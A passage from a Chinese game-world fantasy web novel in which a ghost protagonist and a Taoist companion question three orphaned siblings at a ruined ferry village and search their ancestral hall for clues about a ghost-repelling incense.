男人摇头:“从前我们村子里也有做生意的,只是后来南盛城战败,人们不敢往这边走,渡口就从此荒废了。如今就剩下我们三个,也撑不起什么事。”
鱼宣:“渡河而已,有什么敢不敢的,莫非南盛城的灵异还在?”
“要问我们,确实没见过,但能往平安路上走,不来蹚浑水也是应该的。”
齐览:“只剩你们三个,是什么意思?”
问话太直白,刨根问底的意味昭然,男人皱眉,却在转眼间瞥见齐览腰间令牌。
他飞快地看了看眼前的一男一女,拘谨地垂下头:“十三年前,许是灵异发了疯,一个城的人都死了,我们这边也发大水,一夜之间淹完了村子,只有五个人活下来。”
鱼宣:“那还有两个呢?”
“有一个孤儿,送走了,还有一个去年冬天没熬过去,”男人看向那块墓碑,“就在这儿了。”
齐览递出一枚玉珠。
“多谢相告,我二人有要事在身,麻烦你们找条船吧。”
男人惶恐道:“修整船身少说也要一两日,大人若等得,我们自然竭尽全力。”
鱼宣静静看齐览拿身份压人。
修条船也让人家说出“竭尽全力”这种话,恩威并施的手法分外熟练。
齐览又递了一枚玉珠。
“那烦请为我二人寻个住处,我们等就是了。”
两枚玉珠够他们三人半年的月钱。
男人恭恭敬敬地接了,殷切道:“大人若不嫌弃,我们这就回去收拾屋子,晚些时候便上山砍了木头来开工。”
鱼宣:“还没问你们回来休沐几日,还有旁的事忙活吗?”
男人老实答:“是回来祭扫的,向管事的告了三日假。”
那够了。
齐览看鱼宣收回视线,没有要再提问的意思,吩咐:“领路吧。”
三人把自家屋子让出来给鱼宣和齐览,出门一月有余,不少地方落了灰。
有贵客,更要收拾得仔细些。
最小的一个擦干净两把椅子搬到他们面前。
鱼宣喊住他:“你来与我说说话。”
年龄越大越是懂得闭紧嘴,小孩子最好套话。
“你叫什么?”
他得了兄长的示意,知道这两个是大人物,老老实实把鱼宣想知道的往外倒:“秦郃,我大哥秦渑,二姐秦鄞。”
鱼宣一照面就从系统那里知道了,现在终于把名字和人脸对上号。
她点点头:“你们这几天回来祭扫,是为了十三年前死在洪灾里的村民吗?”
秦郃点头又摇头:“我们渡头村是秦氏一族的分支,祭扫既是祭拜死去的族人,也是拜先祖。”
鱼宣:“你们先祖很有名?”
秦郃眉眼间有书生气,比起他的兄长和姐姐,他要文弱些,想来两人在维持生计的同时也尽力托举他读书。
读书人对于祖上的光辉事迹往往更喜欢夸耀。
“或许大人听过他,”秦郃还记得他们身份贵重,话语间的骄傲成分藏住了一点,“旧时姜庄王太傅秦津,乃公子穆家臣,姜王朝最后的勋贵。”
不只听过,她还见过呢。
鱼宣逗他:“我怎么记得,昔年京城鼠疫,无一活口。”
历史太久远,这种事不过是书页上的寥寥几笔,作为闲谈说起,也不至于让人真切地有亲人遇害的伤感。
秦郃认真解释道:“我们是这一脉的旁支,分出本家后就离开了京城,族谱上有记载。”
鱼宣笑道:“既然你祖上是秦
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津,与姜王室算得上表亲,公子穆不世之才,你刻苦些也该金榜题名的。”
二姐秦鄞提着水桶过来。
“阿郃,把水送给大哥去。”
又转头对着鱼宣露出一个杂糅了歉意和恭顺的笑:“大人见笑了,小弟才学了几本书,总爱卖弄,怎好攀秦太傅的关系?”
秦津就算了,旧朝王室的亲戚谁敢认?
鱼宣随口一句,把秦鄞吓得心都要跳出来了。
可惜秦鄞因为担心秦郃在鱼宣面前显出来的聪明,却让她接替了被女鬼逮住问话的命运。
“听这话,鄞娘子也读过书吗?”
秦鄞愣了愣,没想到话题会突然转到自己身上。
秦郃顺口接话:“二姐读过书的,还教会我认字了。”
“这孩子……”
秦鄞暗暗瞪了自家小弟一眼。
秦郃识趣地闭了嘴拎过水桶,不忘与鱼宣告辞:“大人,我先走了。”
鱼宣挥挥手。
“鄞娘子何必苛责,”鱼宣笑眯眯,“读书是好事,教养幼弟也是功德一件,有什么不好说的。”
秦鄞只能附和:“多谢大人体谅。”
鱼宣:“听你们说祭扫,有什么讲究吗?看你们带了许多东西回来。”
女鬼对于香火的元素很敏感。
而且副本既然叫做秦氏祠,那就算不是很礼貌,她之后还是得去看看。
提前了解一下人家的规矩,能少冲撞一点是一点。
秦津他老人家摊上了公子穆这么个外孙,生前殚精竭虑已经够辛苦了,死后就让他清静清静吧。
当然这个问题问齐览也是一样的,只不过鱼宣想要对副本NPC进行一些交流以便加深了解。
秦鄞:“就是寻常的点香跪拜上斋饭,也烧些黄纸。”
鱼宣随口道:“你们家底渊源如此深厚,没有什么祖传的御赐圣物要拿出来供奉?”
“大人说笑了,”秦鄞在心里把自家多嘴的小弟打了一顿,“我们若是真有什么贵重的东西,早些年吃不上饭的时候就拿出去当了。”
“十三年前,秦郃还小吧。”
“是,”秦鄞垂眼,“那年阿郃还未满周岁。”
十岁出头的秦渑找不了多少活计,更小的秦鄞就更是,而且还有个需要照顾的秦郃。
这样算来,吃不上饭也是可以料想的事。
“难怪你对他如此小心,”鱼宣看着秦鄞掺了几缕白的头顶,“秦郃小时候常闹腾吧?”
秦鄞低下头:“阿郃活泼,但日子过得苦,他也懂事早些,总爱跟我们抢活儿干。”
十三年里,他们三个相依为命,到如今也没有熬出头,所以此前从未敢回头看。
“看得出来,你们把他护得很好,他的性情现在也没变,”勾起人家回忆的女鬼毫无提供安慰服务的自觉,在下一句话迅速抽身,“你们回来一趟不容易,又碰上祭扫的日子,我们在这里难免碍事,趁天色早出去转转,不必来找。”
秦鄞再抬头,两把木椅空空荡荡。
渡头村的祠堂非常好找。
整个村子里除了秦渑家那座简陋的屋子,就只有一个建筑看起来比较新。
经历过洪灾,木材泡了水,有的部分也难免被冲坏,如果还要长久住人的话肯定要换一遍。
一人一鬼无声落地。
牌匾黑底金字,肃穆静谧。
“当前进度:51%(剧情探索达到60%将解锁支线)”
57. 第 57 章
鱼宣没走大门,而是直接落到天井。
秦渑他们还没来得及清扫这里,鱼宣也无意让人知道自己偷摸着跑来人家宗祠,于是用灵力罩裹住自己和齐览,以免留下痕迹。
全盛的女鬼对于灵力的使用毫不吝啬。
一人一鬼才跨过门槛,迎面被金灿灿晃了眼。
两边的柱联是金底,上方的牌匾是金底,浮雕花纹也铺了金底。
这里是中堂,家族举行大型活动的地方,用料以红木为主,堂前有一方方正正的木案,上有彩绘浮雕。
木案上立着一个黑底金字牌,上书“秦氏历代先祖宗亲”。
其后是一尊半人高的古朴的宝瓶,鱼宣并不清楚这是做什么用的,但看风格与姜王朝十分相近。
看得出来,这里面的装饰都比较陈旧,秦渑他们应当只是对外表做了一些修缮,暂时还没有足够的经济实力替换掉内部的东西。
想起自己问秦鄞他们家中是否有祖传的宝物,对方毫不犹豫地否认。
疑似被认为贪图人家财物的女鬼:……
其实秦鄞也不完全是说谎。
宗祠是整个渡头村的秦氏后人一起出资修建的,大部分是由当时的富户出钱。
而他们家从来没有富裕过。
所以真正算起来,这座宗祠和里面的东西并不是秦渑他们可以支配的。
何况他们自持秦氏后人的身份,万万做不出变卖宗祠里的东西这种不敬先祖的事。
鱼宣凑近看,刻字上的金粉一点也没有偷工减料。
她绕过木案,站定在那只黑漆漆的宝瓶前。
瓶身是大面积的黑,离远了看是纯粹的黑,放在眼前看才能发现其上隐着一只暗金的凤。
别的都是越亮堂的地方看得越清楚,这只金凤却是越昏暗的环境显得越醒目。
鱼宣一个外行都知道不是凡品。
她就说,秦津的后人怎么可能真的穷困潦倒。
如果不是一场洪灾淹了渡头村,十三年够秦氏的富户把这里的金粉补十回。
可惜秦氏多灾多难,六百年前最鼎盛的时候赶上亡国死城,六百年后蜗居在村子里的旁支也被大水冲得只剩三株苗苗。
鱼宣左看右看,问:“这是做什么用的?”
一般中堂讲究东平西静,东面摆瓶子,西面放镜子。
但这是宗祠的中堂,鱼宣不确定一些常识会不会有特例。
齐览:“是风水瓶,寓意家族平安繁荣。”
鱼宣朝他招招手,让他也来看瓶身的金凤。
“寻常人家不能轻易用龙凤的纹样,但秦家出了一位姜王妃,”鱼宣猜测,“这会不会是姜王妃的遗物?”
齐览:“有可能,不过即便是姜王妃的遗物,也只可能在王宫中,流落在外不合规矩,何况还到了旁支的手里。”
这瓶子是鱼宣在这个屋子里唯一直觉有猫腻的东西了。
但是系统没提示。
鱼宣四周看看,没发现其他值得注意的,于是往后走。
通往后堂的门有两扇,一左一右,鱼宣根据交通规则选择右边。
后堂不比中堂开阔,因其用作安置先人灵位,所以要求清静,风格朴实而神秘。
推开尘封的门,面前是一片空地,是专门留出来摆蒲团用的。
现在村子空置,蒲团放在这里也是落灰,应当被收起来了。
再往里是供桌,然后是牌位。
摆得最高的最中间的牌位,正是秦津的。
还好有香火供奉,不然秦太傅做鬼也太凄惨了。
秦渑他们的先祖是秦津的庶子秦鹄,在南方生意做得很大,这一脉的嫡系传到第二十三代,就是南盛城最初的受害者之一。
宝来钱庄的少公子。
现在这个宗祠的修建也是宝来钱庄占了大头。
鱼宣翻着秦氏的族谱和家族志,感慨:“秦氏简直是被天灾人祸追着杀。”
在这些牌位里,最下方的一排明显质量差些,金粉很薄。
这些人死的时间一致,是十三年前。
粗略数下来,足有四五十人。
齐览安静看着女鬼在人家的宗祠里寻寻觅觅,倒是不担心。
他确认过了,这里只是一个普普通通的建筑,没有任何灵异的痕迹。
就算有,鱼宣的实力他也见识过了。
只是,“你想找什么?”
鱼宣每次到处翻翻找找都目的明确又毫无章法,回过头来问他一些问题,然后拿着不知道那个角落的信息拼拼凑凑,最后高深莫测地得出结论。
齐览被她当做一本工具书,只在特定的时候想起来翻看。
这样时冷时热的对待,齐览想忽视都不行。
可是他过往十九年里的经历太单一,对鱼宣的喜好也没有过多了解,对方与他公事公办未必没有无话可说的原因在。
思来想去,齐览一时没辙,想让鱼宣眼里有他,只能想方设法帮她的忙。
鱼宣头也不抬:“找到什么算什么。”
这游戏自由度太高,内测版的指向性其实还不够明确,玩家自主探索出来的线索能用上一半就不错了,根本不能奢望指哪打哪。
鱼宣和自己的角色已经很融入,自然也知道附近没有其他灵异。
她盯着那方牌位看了好一会儿。
从进来时她就察觉到,这些牌位里只有秦津的是用黑木制成,这也是鱼宣觉得它格外扎眼的原因。
不让她碰。
那肯定有必要碰一碰。
其实鱼宣现在有恃无恐,她现在血厚得很,这东西肯定不可能再给她划出口子来了。
她结束了对牌位的注目,视线松动的下一刻,一只手伸过来拿起了它。
鱼宣顺着那只手的方向看过去。
齐览拿在手里掂量了一下,又曲起指节叩了叩它的表面。
他抬眼,肯定道:“是空心的。”
鱼宣点点头,问:“能打开吗?”
齐览轻轻“嗯”了一声,随后在黑木牌位上摸索起来。
“咔嗒”一声后,木牌与底座分离开。
并没有掉出任何东西。
齐览指尖燃起一簇灵火。
他的灵火相较普通的火焰颜色浅,色调更冷,但比起鱼宣的蓝绿色鬼火已经够暖和了。
泛着暖色的灵火照耀下,黑木牌位内部的刻痕显露。
熟悉的字体。
系统贴心标注:“后事欲善,焚以精只。”
精只香,焚之辟鬼。
“当前进度:52%(剧情探索达到60%将解锁支线)”
鱼宣:辟谁?我吗?
不知道这牌位是哪个能工巧匠做的,但在死人的东西里面写辟鬼的办法,未免太冒犯了。
“后事欲善”是什么意思?
难道秦津早就知道他们家之后会命途多舛吗?
毕竟他要为公子穆找祭司后人,与各种相关人士的交流不可避免,自己兴起算过命也说不定。
这个世界观里的神棍还
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是有点本事的,鱼宣姑且相信一下这个素未谋面的人的判断。
牌位是人死后才有的,秦津必然交代了自己的后人。
而洪灾的发生是意外,谁也没料到一下子整个渡头村只剩三个半点大的孩子。
等等。
鱼宣突然抬头:“秦渑是不是说,他们送走了一个孤儿,还有一个人去年死了?”
齐览:“嗯,我们何时路过的那座无名坟很新,应该就是他。”
族谱上有这个秦氏无名,他死时三十四岁,十三年前已经二十一了,这些族中事宜或许会透露给他。
可是秦氏落魄至此,十三年没有任何起色,难道是因为秦渑他们买不起精只香所以没按照先祖的遗训做吗?
不对。
精只香有价无市,秦氏六百年来一直依赖它的话,就算没有掌握制作方法,也该有存货。
莫非都被水淹了?
如果真是这样,那秦氏只能自认倒霉了。
鱼宣把翻动过的地方复原。
有问题。
有问题好啊。
她从里到外看了个遍,至少是有思路了。
回到秦渑三人的屋子时,也才过去不到一个时辰。
他们昨日做完活领了工钱已经闭市了,为了置办东西,今天清早赶去买了才出发,到这里碰见鱼宣和齐览时已经过了用午膳的时候。
这会儿不早不晚的,但三个人饿得前胸贴后背,见这两位回来,秦渑赶紧问:“大人,你们可要吃点什么吗?这附近没店家,不过我们买了肉回来。”
鱼宣跟他们打照面的时候就发现那几只鸡鸭鹅了。
没有买鱼,或许是因为渡头村临水可以就地取材。
这对于秦渑他们来说都是一年就这么一回的大菜,年节都不一定有,还得留着祭拜用。
鱼宣:“我们行路累了,饿归饿,但没什么胃口,也没有忌口,菜少些不要紧,能快点吃上就行。”
秦渑应下,转身去逮了一只鸡进了厨房。
招待贵客至少要有一个撑场面的菜,就算鱼宣说要快,秦渑也不可能尽拿小菜来敷衍。
鱼宣估摸着开饭还得一个时辰。
她叹气。
秦郃端着一大盆清水往厨房的方向去。
“大人,屋子都收拾干净了,你们进去歇歇吧。”
“多谢了,”鱼宣颔首,“鄞娘子呢?”
秦郃:“二姐去书房了,她在写送钱表文。”
秦家的屋子结构简单,与桃源镇宛娘子的家差不离,只是有三间卧房,其中一间是柴房改的。
所谓的书房就是秦郃的卧房外间,两边用屏风隔开。
秦鄞见鱼宣来,连忙搁下笔起身。
“大人,您回来了,我去催催饭。”
鱼宣摆手:“我才与他们打过招呼,不必你催。”
“我来是有话想问。”
鱼宣有话,秦鄞不好再坐下,干脆走出来绕到桌前:“您问吧。”
“你们送走的那个孤儿,是谁家的?”
鱼宣问起来都别扭。
严格说来,秦家三人也是孤儿,这么问总归绕不开过往伤心事。
秦鄞对这位大人时不时的八竿子打不着的提问逐渐习惯。
“是河上漂来的,不知道是哪家的孩子。”
鱼宣了然。
怪不得送走,原来不是秦氏后人。
那就好。
鱼宣不用担心流落在外的秦家人又在某个地方倒大霉了。
58. 第 58 章
“秦渑说那村头的无名坟主人,是去年过世的那位?”
秦鄞垂眼:“是,我们年关回来的时候,他已经不知道去了多少时日了。”
“看年龄,他是你们的长辈,正值壮年,”鱼宣顺着她的话往下说,“要是同你们一起去外面,也能早发现些。”
秦鄞摇头:“不瞒您说,他是个痴儿,离了渡头村压根不认路,早些年我们出去不方便带着阿郃,全是他看顾。”
那就合理了。
当年唯一的一个大人没有被托付的能力,精只香的事从此断了。
秦鄞三人都不是扶不起的阿斗,仅仅因为没有点精只香,到如今渡头村也毫无起色。
如果这件事不解决,只怕他们最后的下场好不到哪去。
鱼宣叹气,好像也为死去的人可惜似的。
这间房因为同时作为书房和卧房的用途,空间是最大的,是以他们带回来的东西也都整理好摆放在这里。
多是黄纸、蜡烛和各式各样的香。
不知道为什么,鱼宣突然感觉有点饿。
秦鄞半天没等到下文,一抬眼就见鱼宣盯着角落里的祭祀用品。
齐览也注意到女鬼注意力的过分集中,瞥了一眼就明白过来她的反常。
他提醒:“时节潮湿,有落雨的迹象,这些东西还是不要摆在地上。”
“大人说的是,”秦鄞笑了笑,“我们一会儿就带着这些去清理宗祠了,放不了多久的。”
被齐览一打岔,鱼宣把目光从角落抽离。
鱼宣状似不经意问:“你们祭祖点香,香也是在碧岩村买的吗?”
秦鄞:“是,年年用的都是沉香。”
确认了,他们完全没有被长辈告知过要点精只香。
但也算有心了,沉香对于他们的条件来说已经是尽量挑好的买了。
“我们方才在村子里走了一圈,看过你们的宗祠,”鱼宣回想建筑里沉积的尘,合理怀疑他们请的三天假是计划把时间压到最紧来用的,“三个人清扫起来至少也得两日,不要紧吗?”
她问要不要紧,秦鄞却不能当作是单纯的关怀。
“不要紧的,大人,修缮船只的木材就在山上,我和大哥把东西搬了就上山去,明早就能动工了。”
鱼宣听了秦鄞的话,感觉自己像催进度的包工头。
人家又是做饭又是修船,休假三天没一下停,还得把房子让出来,女鬼难免心虚。
“那你们今晚住哪?”
鱼宣看过了,渡头村除了这个屋子和宗祠,唯一还算完整的只有村头的一间茅屋。
应当是无名痴儿和秦家三人之前居住的地方。
灾后重建并非易事,三个小孩和一个痴儿一开始根本无法从大工程入手,能搭起一个遮风挡雨的地方作为居所满足基本的需求就足够。
剩下的时间和精力,都要放在获取其他的生存资源上。
如鱼宣所料,秦鄞答道:“村头的屋子空着,稍微收拾一下就能住。”
“既然有三间房,你们就在这儿住吧,”鱼宣觉得自己不能够太黑心,“且不说那屋子房顶的茅草疏疏漏漏,多年未有人住,恐怕连床铺也没有,何况你与他们毕竟有别,住一起不便之处太多。”
开玩笑,这副本里目前唯三的NPC不放在眼皮子底下看着,她晚上怎么睡得安心?
秦鄞一时拿不准鱼宣心里是怎么分配房间的,犹犹豫豫地望着她。
若说男女有别,鱼宣与齐览也有别,难道要她们两人挤一间房?
还是让齐览与大哥和小弟一间,她们两个一人一间?
思来想去,秦鄞都觉得不妥,推辞道:“谢过大人好意,那屋子我们三人也住过的,不妨事。”
秦鄞明显经过了思考才拒绝,可见有转还的余地。
鱼宣心中推敲,很快反应过来秦鄞纠结的点。
她笑道:“鄞娘子不必介怀,我二人是夫妻,自然是住一间。”
秦鄞心思被看穿,尴尬无措得不知道说什么好。
鱼宣犹带笑意的眼温和又促狭地眨了眨:“鄞娘子要是肯,你我二人同住也无妨。”
“大人说笑了。”
听出鱼宣语气中的不容拒绝,秦鄞不再辞让:“里头的屋子床铺宽敞些,两位大人既然同住,那一间最合适。”
鱼宣很满意NPC的上道:“鄞娘子想得周到,我们这便去歇会儿,就不打扰你作文章了。”
秦鄞说的房间在前堂的正后方,坐北朝南。
这屋子是在他们家洪灾前的架构上建起来的,看格局是秦家故去父母的卧房。
是老式的红漆架子床,睡下两个人很宽裕。
被褥还没来得及铺,屋子里空荡荡,没有梳妆台,也没有放水盆和挂衣服的木架,除了床和木柜,就是一方桌和四条凳子。
鱼宣在桌旁落座。
齐览安静坐在方桌的另一面。
他突然开口:“这里没有软榻。”
鱼宣看他一眼:“你是觉得床不够大?”
齐览看着不像娇生惯养的人啊。
而且他不一定非得睡觉。
齐览:“……不是。”
鱼宣说他们是夫妻,这点他认,但他们一路走来,只要有条件总是分开睡的。
齐览说不出个所以然来,鱼宣只当他不肯睡床:“那我一会儿让秦鄞多抱一床被褥,你打地铺好了。”
青年道长欲言又止。
而鱼宣则是在想要怎么帮秦家三人找到精只香。
她目前就知道这么一个名字,没有配方,也没有其他任何描述,与无米之炊也不差多少。
这个时候就要用到齐览了。
鱼宣转头正要问,齐览却先开口:“你才与秦鄞说过我们是夫妻,又让她知道我们分开睡,恐怕会让他们起疑。”
鱼宣感到莫名其妙。
齐览沉默半天就憋出这么一句没营养的话,实在不是他的风格。
鱼宣好脾气地征求他的意见:“那依你看?”
齐览又不说话了。
鱼宣等了一会儿,终于还是决定先解决眼前的事。
“你睡觉的问题我们晚些再说,我先问你,关于精只香,你知道多少?”
“记载极少,具体研制方法更是闻所未闻,”齐览皱眉思索,“但可以推测。”
鱼宣扬眉:“说来听听。”
一通百通不是一句妄言,像齐览这样与世隔绝十几年光看书,涉猎的知识范围之大是常人所不能想象的。
“香火是沟通人鬼的媒介,民间认为鬼祟畏避香气,尤其是草木类香料,流传最广的有道门的五香和方术的十二精药。”
“因此,可以大致
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确定它的配方里包括树脂、辛香料和其他草木。”
齐览给出一个模糊的范围,鱼宣很顺利地进一步推论道:“秦氏既然定居渡头村,那原料一定就在附近。”
渡头村所在方位偏南,背靠山林。
当地的树木极有可能就是精只香的原料之一。
辛香料则无非是雄黄和朱砂,另加艾草与桃木之类。
好巧不巧,书房里摆出来的那一堆祭祀用品里除了树脂与桃木之外样样齐全。
桃木这种东西不必鱼宣去找,齐览身上不会少。
不过既然他们没有准备,大概率用不上。
而树脂。
树脂的生产需要一定的时间,他们现在上山肯定来不及。
只能寄希望于秦氏先人留了存货。
至于是什么树的树脂,晚些时候他们去山上一看便知。
或许秦氏一脉命不该绝,秦渑他们到底有点运气在身上,年复一年地用沉香祭祖。
沉香是五香之首,也有辟鬼之效,而且作为香火,祭祖用正合适。
虽然不是那么对症,但也保他们十三年磕磕绊绊活过来了。
“什么情况下,一个家族需要靠精只香吊着命?”
精只香的主要功效是辟鬼。
秦津那会儿还好好的,官居太傅体体面面到了最后,是什么时候被恶鬼缠上的?
齐览:“缘由很难考究,但归根结底是碰了不该碰的因果。”
道门的学术语言玄之又玄,鱼宣拆分又拼合,自发翻译:“他帮公子穆鼓捣那些神神鬼鬼的时候摊上事了?”
齐览:“不无可能。”
秦太傅估计不会想到,姜王朝最后的继承人是自己的外孙,可自己非但没能安享晚年,秦氏的后人也厄运缠身。
“当前进度:53%(剧情探索达到60%将解锁支线)”
鱼宣看看窗外的天色。
夏日天明时间长,这时候亮堂得很,只是屋子采光不好,漏进来的天光被挡去大半。
她无言静坐了一会儿,若隐若现的饥饿感又涌上来。
鱼宣:……
不应该,她可是女鬼,鬼怎么会饿?
随后齐览就眼睁睁看着她突然起身往外走去。
齐览直觉不对,伸手拉住她:“你去哪?”
鱼宣想了想,拿出中药包。
“我去厨房,让他们把你的药熬上。”
齐览盯着她,没松手,另一只手不知道从哪里拿出来一把香。
鱼宣沉默。
她突然觉得NPC知道得太多不是什么好事。
鱼宣怀疑自己突然需要吃香火与灵力完全恢复有关系。
但是这种弱点摆到道士面前就是另一回事了。
其实鱼宣是想拿书房的沉香试试能不能自给自足的,毕竟她不是一般的鬼,每天脚踏实地能看能碰的,除了没有呼吸和体温,跟大活人没有区别,给自己烧烧香说不定也可行。
但齐览既然看穿了,她也不用藏着掖着。
鱼宣接过齐览手上那把香,指尖灵火窜出。
点不着。
齐览摸出火折子,解释:“灵火无法燃香,我来吧。”
鱼宣如常人般棕黑的瞳孔被火焰照出些红,她垂眼看齐览点香的动作,平静地问:“鬼不能给自己供奉,是吗?”